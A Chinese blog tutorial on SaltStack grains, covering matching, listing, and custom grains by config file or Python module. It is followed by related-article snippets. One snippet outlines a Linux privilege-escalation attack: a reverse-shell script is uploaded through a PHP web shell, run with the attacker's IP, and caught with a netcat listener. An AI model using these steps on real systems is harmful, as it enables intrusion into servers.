Saltstack grains组件

  grains是Saltstack最重要的组件之一,grains的作用是收集被控主机的基本信息,这些信息通常都是一些静态的数据,包括CPU、内核、操作系统、虚拟化等,在服务器端可以根据这些信息进行灵活定制,管理员可以利用这新信息对不同业务进行个性化配置。

官网提供的用来区分不同操作系统的示例如下(采用jinja模板):

{% if grains['os'] == 'Ubuntu' %}
host: {{ grains['host'] }}
{% elif grains['os'] == 'CentOS' %}
host: {{ grains['fqdn'] }}
{% endif %}

  示例中CentOS发行版主机将被 "host: {{ grains['fqdn'] }}"匹配,以主机SN100-128(centOS6.4)为例,最终得到"host:SN100-128"。同时,命令行的匹配操作系统发行版本为CentOS的被控端可以通过-G参数来过滤,如salt -G 'os:CentOS' test.ping。

[root@localhost~]# salt -G 'os:CentOS' test.ping
SN100-128:True
SN100-129:True
SN100-130:True

(1) grains常用操作命令:

#获取主机的grains项信息:

[root@localhost~]# salt 'SN100-128' grains.ls
SN100-128:- SSDs- biosreleasedate- biosversion- cpu_flags- cpu_model- cpuarch- domain- fqdn- fqdn_ip4- fqdn_ip6- gpus- host- hwaddr_interfaces- id- init- ip4_interfaces- ip6_interfaces- ip_interfaces- ipv4- ipv6- kernel- kernelrelease- locale_info- localhost- lsb_distrib_codename- lsb_distrib_id- lsb_distrib_release- machine_id- manufacturer- master- mdadm- mem_total- nodename- num_cpus- num_gpus- os- os_family- osarch- oscodename- osfinger- osfullname- osmajorrelease- osrelease- osrelease_info- path- productname- ps- pythonexecutable- pythonpath- pythonversion- saltpath- saltversion- saltversioninfo- selinux- serialnumber- server_id- shell- virtual- zmqversion

获取主机单项grains数据:

 #获取操作系统发行版本.
[root@localhost~]# salt 'SN100-128' grains.item os
SN100-128:----------os:CentOS
#获取操作系统的内核信息.
[root@localhost~]# salt 'SN100-128' grains.item kernel
SN100-128:----------kernel:Linux#获取操作系统的selinux信息
[root@localhost~]# salt 'SN100-128' grains.item selinux
SN100-128:----------selinux:----------enabled:Falseenforced:Disabled

#salt '*' grains.item os //返回键值对

#salt '*' grains.get os  //返回值

获取主机id为'SN100-128'的所有grains键及值信息。

[root@localhost~]# salt 'SN100-128' grains.items
SN100-128:----------SSDs:biosreleasedate:04/14/2014biosversion:6.00cpu_flags:- fpu - vme  - de  - pse   - tsc - msr - pae - mce - cx8 - apic - sep - mtrr  - pge - mca - cmov - pat - pse36 cpu_model:Intel(R) Xeon(R) CPU E5-2650 v3 @ 2.30GHzcpuarch:x86_64domain:fqdn:TestOnlyMPAPPfqdn_ip4:- 10.10.100.128- 127.0.0.1fqdn_ip6:gpus:|_----------model:SVGA II Adaptervendor:unknownhost:TestOnlyMPAPPhwaddr_interfaces:----------eth1:00:50:56:87:b1:54lo:00:00:00:00:00:00id:SN100-128init:upstartip4_interfaces:----------eth1:- 10.10.100.128lo:- 127.0.0.1ip6_interfaces:----------eth1:- fe80::250:56ff:fe87:b154lo:- ::1ip_interfaces:----------eth1:- 10.10.100.128- fe80::250:56ff:fe87:b154lo:- 127.0.0.1- ::1ipv4:- 10.10.100.128- 127.0.0.1ipv6:- ::1- fe80::250:56ff:fe87:b154kernel:Linuxkernelrelease:2.6.32-431.el6.x86_64locale_info:----------defaultencoding:UTF8defaultlanguage:zh_CNdetectedencoding:UTF-8localhost:TestOnlyMPAPPlsb_distrib_codename:Finallsb_distrib_id:CentOSlsb_distrib_release:6.5machine_id:bcc4f9ad2d40506966ce2b1400000014manufacturer:VMware, Inc.master:10.10.100.127mdadm:mem_total:8001nodename:TestOnlyMPAPPnum_cpus:2num_gpus:1os:CentOSos_family:RedHatosarch:x86_64oscodename:Finalosfinger:CentOS-6osfullname:CentOSosmajorrelease:6osrelease:6.5osrelease_info:- 6- 5path:/sbin:/usr/sbin:/bin:/usr/binproductname:VMware Virtual Platformps:ps -efHpythonexecutable:/usr/bin/python2.6pythonpath:- /usr/bin- /usr/lib64/python26.zip- /usr/lib64/python2.6- /usr/lib64/python2.6/plat-linux2- /usr/lib64/python2.6/lib-tk- /usr/lib64/python2.6/lib-old- /usr/lib64/python2.6/lib-dynload- /usr/lib64/python2.6/site-packages- /usr/lib64/python2.6/site-packages/gst-0.10- /usr/lib64/python2.6/site-packages/gtk-2.0- /usr/lib64/python2.6/site-packages/webkit-1.0- /usr/lib/python2.6/site-packages- /usr/lib/python2.6/site-packages/setuptools-0.6c11-py2.6.egg-infopythonversion:- 2- 6- 6- final- 0saltpath:/usr/lib/python2.6/site-packages/saltsaltversion:2015.5.8saltversioninfo:- 2015- 5- 8- 0selinux:----------enabled:Falseenforced:Disabledserialnumber:VMware-42 07 95 36 bc 00 ee bd-bc 79 77 5c 81 14 35 b5server_id:295812205shell:/bin/shvirtual:VMwarezmqversion:3.2.5

(2) 定义grains数据:

定义grains数据的方法有两种,其中一种为在被控端主机定制配置文件,另一种是通过主控端扩展模块API实现,区别是模块更灵活,可以通过python编程动态定义,而配置文件只适合相对固定的键与值。下面分别举例说明。

1.被控端主机定制grains数据

SSH登录一台被控主机,如SN100-128,配置文件定制的路径为/etc/salt/minion,参数为default_include: minion.d/*.conf,具体操作如下:

【/etc/salt/minion.d/hostinfo.conf】

grains:roles:- webserver- memcachedeployment: datacenter4cabinet: 13

  重启被控主机salt-minion服务,使之生效:service salt-minion restart。验证结果在主控端主机运行:salt 'SN100-128' grains.item roles deployment cabinet,观察配置的键与值,如下所示。

[root@localhost~]# salt 'SN100-128' grains.item roles deployment cabinet
SN100-128:----------cabinet:13deployment:datacenter4roles:- webserver- memcache

或者也可以这样定义

vim /etc/salt/grainscloud: openstack
test: salt/etc/init.d/salt-minion restart 或者执行同步 salt '*' saltutil.sync_grainssalt -G 'cloud:openstack' test.ping

2.主控端扩展模块定制grains数据

  首先在主控端编写python代码,然后将该python文件同步到被控主机,最后刷新生效(即编译python源码文件生成字节码pyc)。在主控端bash目录(见/etc/salt/master配置文件的file_roots项,默认的bash配置在/srv/salt)下生成_grains目录,执行install -d /srv/salt/_grains开始编写代码,实现获取被控主机系统允许最大打开文件数(ulimit -n)的grains数据。

【/srv/salt/_grains/sysprocess.py】

#!/usr/bin/env python
#coding:utf-8import os,sys,commands
def Granins_openfile():"""os max open file of grains value"""grains = {}#init default value_open_file=65535try:getulimit=commands.getstatusoutput('source /etc/profile;ulimit -n')except Exception,e:passif getulimit[0] == 0:_open_file=int(getulimit[1])grains['max_open_file'] = _open_filereturn  grains
Granins_openfile()

上面代码的说明如下。

 grains_openfile()定义一个获取最大打开文件数的函数,函数名称没有要求,符合python的函数命名规则即可;

 grains = {} 初始化一个grains字典,变量名一定要用grains,以便Saltstack识别;

 grains['max_open_file'] = _open_file 将获取的linux ulimit -n 的结果值赋予grains['max_open_file'],其中"max_open_file"就是grains的项,_open_file就是grains的值。

 最后同步模块到指定被控端主机并刷新生效,因为grains比较合适采集静态类的数据,比如硬件,内核信息等。当有动态类的功能需求时,需要提行刷新,具体操作如下:

  同步模块 salt 'SN100-128' saltutil.sync_all ,看看 "SN100-128"主机发生了什么?文件已经同步到minion cache目录中,如下:

/var/cache/salt/minion/extmods/grains/sysprocess.py
/var/cache/salt/minion/files/base/_grains/sysprocess.py

 /var/cache/salt/minion/extmods/grains/为扩展模块文件最终存放位置,刷新模块后将在同路径下生成字节码pyc;

 /var/cache/salt/minion/files/base/_grains/为临时存放位置。

 刷新模块salt 'SN100-128' sys.reload_modules,再看看主机发生了什么变化?在/var/cache/salt/minion/extmods/grains/位置多了一个编译后的字节码文件sysprocess.pyc文件,为python可执行的格式。

/var/cache/salt/minion/extmods/grains/sysprocess.py
/var/cache/salt/minion/extmods/grains/sysprocess.pyc
/var/cache/salt/minion/files/base/_grains/sysprocess.py 

 效验结果为可以在主控端查看grains信息,执行 salt 'SN100-128' grains.item max_open_file,结果显示"max_open_file:1024",这就是前面定制的主机grains信息。

[root@localhost~]# salt 'SN100-128' grains.item max_open_file
SN100-128:----------max_open_file:1024

grains在top.sls中的使用:

'roles: nginx':- match:grain   //声明使用grain- init.pkg	  //执行init.pkg模块 

 

 

  

  

 

 

  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/261168.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

android开发相关资料整理【2011-11-10】

常用的Android指令和模拟器参数如何在windows下不用Eclipse,用dos命令启动emulator呢???Android中的Task相关问题: Flag和LaunchMode同时起作用时的情况Service与ContentProvide的多实例与多线程问题avtivity之间的跳转…

php监听mq消息,客户端监听服务端获取rabbitmq消息队列,rabbitmq有消息的时候客户端刷新页面才能获取到消息,监听没起到作用,请求各位大神指点迷津...

header("Content-Type:text/html;charsetutf-8");use Workerman\Worker;require_once __DIR__ . /Autoloader.php;// 注意:这里与上个例子不同,使用的是websocket协议$ws_worker new Worker("websocket://192.168.1.218:5556");// …

c3p0配置

2019独角兽企业重金招聘Python工程师标准>>> <?xml version"1.0" encoding"utf-8"?> <c3p0-config> <named-config name"mysql"> <property name"user">root</property> …

The connection to adb is down

The connection to adb is down 有一周时间没有打开ADT了&#xff0c;最近想为我的APP增加下些新的功能&#xff0c;但是在编译的时候出现了一个奇怪问题 [2013-10-18 14:43:50 - zzbus] Android Launch![2013-10-18 14:43:50 - zzbus] The connection to adb is down, and a s…

linux溢出提权

先在网站目录上传1.pl,是个反弹脚本 Phpshell执行chmod x 1.pl&#xff0c;给1.pl执行权限&#xff0c;图0 然后执行 ./1.pl 本机IP 1224接着本机监听nc -vv -l -p 1224&#xff0c;图1 反弹成功 输入id bash-3.2$ id uid529(zeicom) gid525(zeicom) groups525(zeicom) bash-3.…

php 抽象类、接口和构析方法

<?php/*class Ren {public static $color;static function Show(){Car::$name;self::$color;} }class Car {public static $name; }*///抽象类 /*abstract class DongWu {public $dong;public $jiao;function Chi(){}function Shui(){} }*///接口关键字&#xff1a;interfa…

java的枚举

package com.wzh.test.enum0;import org.junit.Test;public class demo1 {Testpublic void testAb(){System.out.println(Ab.a.getValue());}//如果定义枚举的构造函数&#xff0c;方法和字段&#xff0c;去封装更多的信息enum Ab{a("100-90"),b("89-80"),…

matlab元胞矩阵赋值,matlab!怎么根据条件直接修改元胞数组中的矩阵

matlab&#xff01;怎么根据条件直接修改元胞数组中的矩阵mip版 关注:264 答案:2 悬赏:70解决时间 2021-01-28 07:03已解决2021-01-28 03:35我想实现这样的一个功能一个256*256的元胞数组Cel&#xff0c;每个元胞数组中都有一个15*4的矩阵Arr有15对256*256的矩阵a,b,c,d(分别…

动态反射——Load,LoadFrom和LoadFile

【问】 假设有一个类库文件LibraryA&#xff0c;其中有一个ClassA&#xff0c;该类的AssemblyName为“LibraryA”&#xff08;编译后的文件是LibraryA.dll&#xff09;。另外有一个LibraryB.dll类库文件&#xff0c;其中AssemblyName和其命名空间一样&#xff0c;并且其引用Lib…

《将博客搬至CSDN》

《将博客搬至CSDN》链接为&#xff1a;http://blog.csdn.net/scenlyf/转载于:https://blog.51cto.com/luoyafei/1787233

12306订票助手更新

由于时间关系&#xff0c;以及做了较大变更&#xff0c;订票助手已经很久发布更新了。但是订票助手我还是会一直维护下去&#xff0c;直到……你懂的。 这个版本比以前有较大变化&#xff0c;还存在许多已知和未知的问题&#xff0c;只建议喜欢尝鲜的朋友使用&#xff1a; 不再…

各种Exit退出函数用法

在VBScript中经常会遇到在执行到某个代码块时需要直接跳出的过程。 其实在Vbs语法中常用的有4种退出方式&#xff1a;Exit For、Exit Do、Exit Function、Exit Sub 1、Exit For 主要是用于for循环中 for i1 to 100 if i4 then msgbox "exit for" Exit For End If Ne…

oracle一个表拆成多个表,oracle – 在oracle表中将多个以逗号分隔的值拆分为多行...

接受的答案使用条件DBMS_RANDOM.VALUE IS NOT NULL这是不合适的。 它只是防止循环&#xff0c;但是一个简单的问题会出现&#xff0c; 如何和何时dbms_random.VALUE可以为空&#xff1f; 从逻辑上讲&#xff0c;它永远不会是NULL 。更合适的解决scheme是使用sys.odciNumberList…

python 正则表达式过滤文本中的html标签 源代码解析

#py2.7 #coding:utf-8import re import os import chardetdef filter_tag(htmlstr):re_cdata re.compile(<!DOCTYPE HTML PUBLIC[^>]*>, re.I)re_script re.compile(<\s*script[^>]*>[^<]*<\s*/\s*script\s*>, re.I) #过滤脚本re_style re.compi…

C++--Qt使用Http协议

2019独角兽企业重金招聘Python工程师标准>>> #include <QNetworkAccessManager>//包含QNetworkAccessManager类 #include <QNetworkRequest>//包含QNetworkRequest类 #include <QNetworkReply>//包含QNetworkReply类 #include <QtCore> #in…

Oracle数据库adg数据没同步,Oracle 11g备库无法开启ADG的原因分析

今天碰到一个有些奇怪的问题&#xff0c;但是奇怪的现象背后都是有本质的因果。下午在做一个环境的检查时&#xff0c;发现备库是在mount阶段&#xff0c;这可是一个11gR2的库&#xff0c;没有ADG实在是太浪费了&#xff0c;对于这种情况感觉太不应该了。所以尝试启动至open阶段…

linux基本安全配置手册

安装注意 作为服务器&#xff0c;不安装不需要的组件&#xff0c;所以在选择组件的时候&#xff0c;不要安装服务包和桌面但需要开发工具和开发包。 以下命令等适用redhat/centos 4,5 1.删除系统特殊的的用户帐号&#xff1a; 禁止所有默认的被操作系统本身启动的且不需要的帐号…

张邱建算经 卷下

周 甄 鸾 注经   唐 李淳风 注释   刘孝孙 撰细草   今有甲乙丙丁戊五人共猎获鹿约以甲六乙五丙四丁三戊二分之今获鹿五 问各得几何   答曰   甲得一鹿四分鹿之二   乙得一鹿四分鹿之一   丙得一鹿   丁得四分鹿之三   戊得四分鹿之二   术曰列置甲…

【转】使用JDK自带jvisualvm监控tomcat

转载地址: http://my.oschina.net/kone/blog/157239 jdk自带有个jvisualvm工具、该工具是用来监控java运行程序的cpu、内存、线程等的使用情况。并且使用图表的方式监控java程序、还具有远程监控能力。不失为一个用来监控tomcat的好工具。 在jdk目录下的bin目录中可以找到jvisu…

双网卡oracle rac,Linux+Oracle 10g RAC双网卡绑定和解除绑定的实现(2)

解除双网卡绑定十一、停数据库和crs在rac1和rac2上停数据库和crs#cd /u01/app/oracle/product/10.2.0/crs_1/bin停数据库实例#./srvctl stop instance –d devdb –i ora.devdb.devd1.inst#./srvctl stop instance –d devdb –i ora.devdb.devd2.inst停数据库#./srvctl stop …